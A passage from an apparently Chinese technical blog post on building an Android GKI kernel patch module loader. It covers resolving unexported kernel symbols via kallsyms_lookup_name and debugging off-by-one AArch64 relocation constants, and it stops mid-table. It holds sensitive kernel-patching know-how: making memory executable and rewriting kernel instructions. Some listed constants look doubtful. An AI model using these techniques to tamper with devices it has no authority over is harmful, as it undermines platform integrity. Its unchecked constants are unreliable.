0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__flush_icache_range</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">通常不可直接引用</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aarch64_insn_patch_text_nosync</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">通常不可直接引用</span></p></td></tr></tbody></table><p data-line="1776" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KPM Loader 又恰好需要这些不导出的核心函数。</span></p><p data-line="1778" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在 loader 初始化阶段，通过传入的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kallsyms_lookup_name</span></code><span leaf=""> 地址统一解析，并缓存所需符号。</span></p><p data-line="1780" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">示例结构：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1726" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> cached_module_alloc;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> cached_set_memory_x;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> cached_set_memory_rw;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> cached_flush_icache;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> cached_insn_patch;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *needed_syms[] = {</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;module_alloc&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;set_memory_x&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;set_memory_rw&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;__flush_icache_range&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;aarch64_insn_patch_text_nosync&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf=""><br/></span><span leaf="">};</span></code></pre><p data-line="1799" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">初始化时统一解析：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1745" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; needed_syms[i]; i++) {</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> addr = kallsyms_lookup(needed_syms[i]);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!addr) {</span><span leaf=""><br/></span><span leaf="">        pr_warn(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;kpm_loader: symbol %s not found\n&#34;</span></span><span leaf="">, needed_syms[i]);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">continue</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/*</span><span leaf=""><br/></span><span leaf="">     * 根据符号名缓存到对应变量。</span><span leaf=""><br/></span><span leaf="">     */</span></span><span leaf="">}</span></code></pre><p data-line="1816" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不要假设某个内核符号在 GKI 上一定导出。</span></p><p data-line="1818" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">写内核 loader 需要的关键函数，往往恰好不在 GKI 对外导出列表中。</span></p><h3 data-line="1820" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">重定位引擎</span></h3><p data-line="1822" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 26：AArch64 重定位类型常量整体偏移一位</span></p><p data-line="1824" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KPM 中的：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1770" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">printk(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;kpm_test: init called\n&#34;</span></span><span leaf="">);</span></code></pre><p data-line="1830" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">输出了乱码，而不是正常字符串。</span></p><p data-line="1832" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">进一步调试发现，ADRP 指令编码异常：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1778" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">正确值：0xB0000000</span><span leaf=""><br/></span><span leaf="">实际值：0x9001FF00</span></code></pre><p data-line="1839" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">对比：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1785" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">正确：</span><span leaf=""><br/></span><span leaf="">  0xB0000000 = adrp x0, <a class="wx_topic_link" topic-id="mouy8u88-kvells" style="color: #576B95 !important;" data-topic="1" data-recommend="">#0x1000</a></span><span leaf=""><br/></span><span leaf="">  指向 rodata 页面</span><span leaf=""><br/></span><span leaf="">实际：</span><span leaf=""><br/></span><span leaf="">  0x9001FF00 = adrp x0, <a class="wx_topic_link" topic-id="mouy8u88-4pnpsc" style="color: #576B95 !important;" data-topic="1" data-recommend="">#0x7FC000</a></span><span leaf=""><br/></span><span leaf="">  指向约 8MB 外的随机页面</span></code></pre><p data-line="1851" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但重定位数学本身是对的：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1797" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">val   = mod-&gt;start + 0x1000</span><span leaf=""><br/></span><span leaf="">place = mod-&gt;start + 0x8</span><span leaf=""><br/></span><span leaf="">sval  = 0x1000</span><span leaf=""><br/></span><span leaf="">imm   = 1</span></code></pre><p data-line="1860" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">理论上 ADRP 应该被编码成：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1806" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">0xB0000000</span></code></pre><p data-line="1866" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但实际却变成了：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1812" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">0x9001FF00</span></code></pre><p data-line="1872" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">loader 中定义的 AArch64 relocation type 常量，从 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MOVW_PREL_G0</span></code><span leaf=""> 开始整体偏移了一位。</span></p><p data-line="1874" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">错误表大致如下：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">常量</span></p></th><th style="text-align: right;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">错误值</span></p></th><th style="text-align: right;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">正确值</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">R_AARCH64_MOVW_PREL_G0</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x112</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x111</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">R_AARCH64_MOVW_PREL_G0_NC</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x113</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x112</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">R_AARCH64_ADR_PREL_PG_HI21</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x114</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x113</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 